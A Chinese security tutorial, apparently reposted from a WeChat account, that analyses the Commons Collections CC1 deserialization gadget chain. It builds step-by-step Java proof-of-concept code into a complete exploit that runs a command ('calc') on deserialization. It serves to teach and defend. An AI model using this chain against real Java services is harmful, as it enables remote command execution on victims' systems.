CommonsCollections CC1攻击链详解

admin 2025年1月13日19:01:39评论6 views字数 8089阅读26分57秒阅读模式

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”

01

前言
CommonsCollections反序列化漏洞是Java安全领域的重要案例之一,具有高度的研究价值和实际影响。本文将以CommonsCollections CC1链为例,详细解析其背景、攻击链原理以及实现过程,帮助读者深入理解该漏洞的利用机制。
02
背景介绍

Apache Commons是Apache软件基金会的开源项目,旨在提供可重用的Java工具类库。其中,Commons Collections通过对标准Collections API的扩展和优化,为开发者提供了更灵活高效的数据结构和操作方式。

然而,在实际应用中,这些特性也可能被恶意利用。Commons Collections的部分类实现包含反射调用任意方法的功能,为攻击者构造利用链提供了可能。

准备工作

在环境搭建方面,我们需要以下组件:

•JDK版本:8u65(该版本仍存在CC1链的漏洞)

•开发工具:用于反编译和调试的工具链

在搭建环境过程中,需确保能够访问Commons Collections 3.2.2 API文档以及相关源码,以便对类和方法的调用关系进行逆向分析。

CommonsCollections CC1攻击链详解
03
CC1攻击链分析

CC1链的核心在于利用InvokerTransformer类,通过反射机制执行任意方法。以下是关键环节的解析:

Transformer接口的作用就是它接受一个对象,调用transform方法对这个对象进行一系列操作,我们暂且可以将它理解为装饰器、代理这个功能。

CommonsCollections CC1攻击链详解

在InvokerTransformer类中存在一个反射调用任意类,可以作为链子的终点去利用。InvokerTransformer接受方法名、参数类型和参数值(均可以被我们自己控制),并通过transform方法调用指定方法。恶意代码可以通过该类实现命令执行,例如弹出计算器:

CommonsCollections CC1攻击链详解

构造一下调用这个类弹计算器。

publicclassCC1Test {publicstaticvoidmain(String[] args)throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {Runtimeruntime= Runtime.getRuntime();Classc= Runtime.class;Methodmethod= c.getDeclaredMethod("exec", String.class);        method.setAccessible(true);        method.invoke(runtime, "calc");    }}
CommonsCollections CC1攻击链详解

攻击链的下一步是找到合适的调用点,使InvokerTransformer的transform方法得以执行。

根据构造方法构造 EXP,因为是 public 的方法,这里无需反射。

需要三个参数:参数名、参数类型、参数值

CommonsCollections CC1攻击链详解
publicclassCC1Test {publicstaticvoidmain(String[] args) throws NoSuchMethodExceptionInvocationTargetExceptionIllegalAccessException {Runtime runtime = Runtime.getRuntime();newInvokerTransformer("exec"newClass[]{String.class}, newObject[]{"calc"}).transform(runtime);    }

成功的弹出计算器,事实上就是通过InvokerTransformer重新实现了一个反射

CommonsCollections CC1攻击链详解

整个链子中是走到了最后一步,即调用了InvokerTransformer.transform(),那么接下来要做的就是往回倒退,谁调用了transform,谁又调用了调用了transform的方法,以此类推。

点进transform方法,find usages查询调用。

CommonsCollections CC1攻击链详解

我们可以一步步看有什么比较常用的,这里为节省时间,直接来看TransformedMap类中的checkSetValue()方法。

CommonsCollections CC1攻击链详解

这个valueTransformer是的构造函数是一个protected,意思是它要被自己调用的,TransformedMap可以理解为接受一个Map进来,对这个Map的key和value进行一系列操作,这些操作都写在这些xxxTransformer里面了。

CommonsCollections CC1攻击链详解

在 decorate() 静态方法中创建了 TransformedMap 对象,完成了装饰的操作

CommonsCollections CC1攻击链详解

可以从这里开始试一下编写poc,这里从后往前推,如果有一个遍历数组的地方调用了setValue,就能接上这后半条链。

publicclassCC1Test {publicstaticvoidmain(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = newInvokerTransformer("exec"newClass[]{String.class}, newObject[]{"calc"});HashMap<ObjectObject> hashMap = newHashMap<>();        hashMap.put("key","aaa");// 这里新建了 TransformedMap 对象        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);        for (Map.Entry entry:transformedMap.entrySet()){            entry.setValue(runtime);        }    }}

总结一下上面的链子 1、执行decorate方法的时候,会新建 TransformedMap 对象。

2、调用对象的 checkSetValue 方法(因为我们无法直接获取 TransformedMap 对象,它的作用域是 protected

3、checkSetValue最终会走到transform方法,即重点的危险方法。

目前找到的链子位于 checkSetValue 当中,去找 .decorate 的链子,发现无法进一步前进了,所以我们回到 checkSetValue 重新找链子。

继续 find usages,找到了 parent.checkSetValue(value); 调用了 checkSetValue

发现这是一个抽象类,是 TransformedMap 的父类。调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry

CommonsCollections CC1攻击链详解

setValue() 实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作。所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

到此处,攻击思路出来了,找到一个是数组的入口类,遍历这个数组,并执行 setValue 方法,就可以把我们这个TransformedMap传进去。所以接下来我们要去找谁执行了setValue()方法,最理想的情况下,如果有一个对象的readObject()里面调用了setValue()方法就最好不过了!

于是接着对setValue()进行find usages,可以看到有一个readObject类里面调用了setValue方法。

CommonsCollections CC1攻击链详解

根据这个类的名字可以得知它是动态代理过程中的调用处理器类。

看一下构造函数,接收两个参数,第一个是个Class对象,第二个是个Map,这个Map是我们可控的,因为在构造函数里,我们可以将我们构造好的TransformedMap传进去,传进去后实例化这个类并尝试调用它。

CommonsCollections CC1攻击链详解

因为AnnotationInvocationHandler 的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。

得到了这个poc:

publicclassCC1Test {publicstaticvoidmain(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = newInvokerTransformer("exec"newClass[]{String.class}, newObject[]{"calc"});HashMap<ObjectObject> hashMap = newHashMap<>();        hashMap.put("key","aaa");Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.classMap.class);        annotationInvocationhdlConstructor.setAccessible(true);Object o = annotationInvocationhdlConstructor.newInstance(Override.class, transformedMap);serialize(o);unserialize("ser.bin");    }

但是这个poc还是存在几个问题:1、runtime对象不能被序列化 2、实际传参不是runtime对象 3、需要满足这两个if

CommonsCollections CC1攻击链详解

先来解决第一点,Runtime不能被序列化,但是Runtime.class是能被序列化的,我们写一遍普通反射

publicclassCC1Test {  publicstaticvoidmain(String[] args)throws Exception{  Classc= Runtime.class;  Methodmethod= c.getMethod("getRuntime");  Runtimeruntime= (Runtime) method.invoke(nullnull);  Methodrun= c.getMethod("exec", String.class);   run.invoke(runtime, "calc");   }  }

接着,我们将这个反射的 Runtime 改造为使用 InvokerTransformer 调用的方式。

publicclassCC1Test {  publicstaticvoidmain(String[] args) throws Exception{  Class c = Runtime.class;  Method getRuntimeMethod = (Method)newInvokerTransformer("getMethod"newClass[]{String.classClass[].class}, newObject[]{"getRuntime"null}).transform(Runtime.class);Runtime r=(Runtime)newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}).transform(getRuntimeMethod);newInvokerTransformer("exec"newClass[]{String.class}, newObject[]{"calc"}).transform(r); }  }

这里Transformer不断调用前者,是一个循环调用。

这里我们用ChainTransformer类,这个类下的transform 方法递归调用了前一个方法的结果,作为后一个方法的参数。修改后的poc如下

publicclassCC1Test {  publicstaticvoidmain(String[] args) throws Exception{  Transformer[] transformers = newTransformer[]{newInvokerTransformer("getMethod"newClass[]{String.classClass[].class}, newObject[]{"getRuntime"null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec"newClass[]{String.class}, newObject[]{"calc"})        };ChainedTransformer chainedTransformer = newChainedTransformer(transformers);// 第一个参数        chainedTransformer.transform(Runtime.class);}

接下来我们要着手解决这两个if条件的判断了

CommonsCollections CC1攻击链详解

查看代码,第一个if跳出去是因为memberType为null,memberType是先获取memberValue,然后对其key方法,再去获取memberType,我们只需要针对性的修改,传入的注解参数,是有成员变量即可。

CommonsCollections CC1攻击链详解

这一次的运行我们成功进入到了 setValue 方法当中,但还是不能够进行弹计算器,这是因为 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。

这里介绍一个类ConstantTransformer,他有两个特点:1、构造方法:传入的任何对象都放在 iConstant 中。 2、transform方法:无论传入什么,都返回iConstant

CommonsCollections CC1攻击链详解

那么可以利用这一点,将 AnnotationTypeMismatchExceptionProxy 类作为 transform() 方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class

最终EXP:

publicclassCC1Test {publicstaticvoidmain(String[] args)throws Exception {        Transformer[] transformers = newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod"newClass[]{String.class, Class[].class}, newObject[]{"getRuntime"null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec"newClass[]{String.class}, newObject[]{"calc"})        };ChainedTransformerchainedTransformer=newChainedTransformer(transformers);        HashMap<Object, Object> hashMap = newHashMap<>();        hashMap.put("value","aaa");        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);Classc= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");ConstructorannotationInvocationhdlConstructor= c.getDeclaredConstructor(Class.class, Map.class);        annotationInvocationhdlConstructor.setAccessible(true);Objecto= annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);        serialize(o);        unserialize("ser.bin");    }publicstaticvoidserialize(Object obj)throws IOException {ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin"));        oos.writeObject(obj);    }publicstatic Object unserialize(String Filename)throws IOException, ClassNotFoundException{ObjectInputStreamois=newObjectInputStream(newFileInputStream(Filename));Objectobj= ois.readObject();return obj;    }}

执行后,成功弹出计算器!!大功告成

CommonsCollections CC1攻击链详解

总结:这条链子的顺序为

1、AnnotationInvocationHandler.readObject() 

2、AbstractInputCheckedMapDecorator.setValue() 

3、TransformedMap.checkSetValue() 

4、InvokerTransformer.transform()

并且用了ChainedTransformer类实现递归调用、ConstantTransformer类实现控制初始setValue()的值加以辅助。

CommonsCollections CC1攻击链详解
04
后记

CC1链揭示了反序列化漏洞利用的普遍规律。尽管CommonsCollections漏洞在新版中已修复,但其启示在于:开发中需严格控制反序列化数据的来源,并及时更新依赖库版本,避免潜在风险。

原文始发于微信公众号(A9 Team):CommonsCollections CC1攻击链详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日19:01:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CommonsCollections CC1攻击链详解https://cn-sec.com/archives/3624198.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息